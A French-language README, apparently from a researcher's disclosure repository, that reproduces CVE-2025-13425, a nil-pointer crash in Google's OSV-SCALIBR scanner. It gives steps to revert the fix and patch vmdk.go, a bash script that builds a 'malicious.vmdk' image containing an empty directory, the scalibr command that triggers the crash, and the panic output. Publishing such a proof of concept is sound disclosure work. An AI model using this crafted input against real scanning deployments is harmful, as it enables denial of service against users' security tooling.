
Ce dépôt contient des instructions pour reproduire CVE-2025-13425 : une vulnérabilité de déréférencement de pointeur nul / dépassement d'index de tableau que j'ai trouvée dans le projet OSV-SCALIBR de Google.
Pour reproduire le CVE-2025-13425, suivez simplement les étapes ci-dessous :
Étape 1 : Clonez le code source frais d'osv-scalibr :
$ git clone https://github.com/google/osv-scalibr
Étape 2 : Supprimez le code mentionné dans le commit de correctif https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Étape 3 : Utilisez le patch vmdk.go.patch et appliquez-le à vmdk.go avec :
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
Pourquoi avons-nous besoin de ces modifications sur vmdk.go ?
Ce n'est qu'un exemple et ce bogue ne se limite pas au plugin vmdk. Cela est nécessaire pour déclencher le bogue. Le bogue se déclenche lorsque quelqu'un écrit son propre plugin qui parcourt un système de fichiers virtuel contenu dans un fichier. Le bogue réside dans la façon dont osv-scalibr gère les systèmes de fichiers virtuels. Ce bogue passera inaperçu lors de la compilation ou en production, mais sera déclenché lorsque l'utilisateur fournira un fichier vmdk contenant au moins un répertoire vide.
Étape 4 : Compilez le code source pour obtenir le binaire « scalibr » :
$ make clean && make
Étape 5 : Déclenchez avec :
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Sortie attendue :
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
OU
Vous pouvez générer une image vmdk malveillante (ou minimale) qui contient un répertoire vide. Pour ce faire, créez un nouveau script bash avec le code suivant (par exemple gen_malicious_vmdk.sh) :
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Maintenant,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Cela créera un fichier nommé « malicious.vmdk ». Déclenchez maintenant la vulnérabilité avec :
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Sortie attendue :
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 découvert par Yuvraj Saxena ([email protected])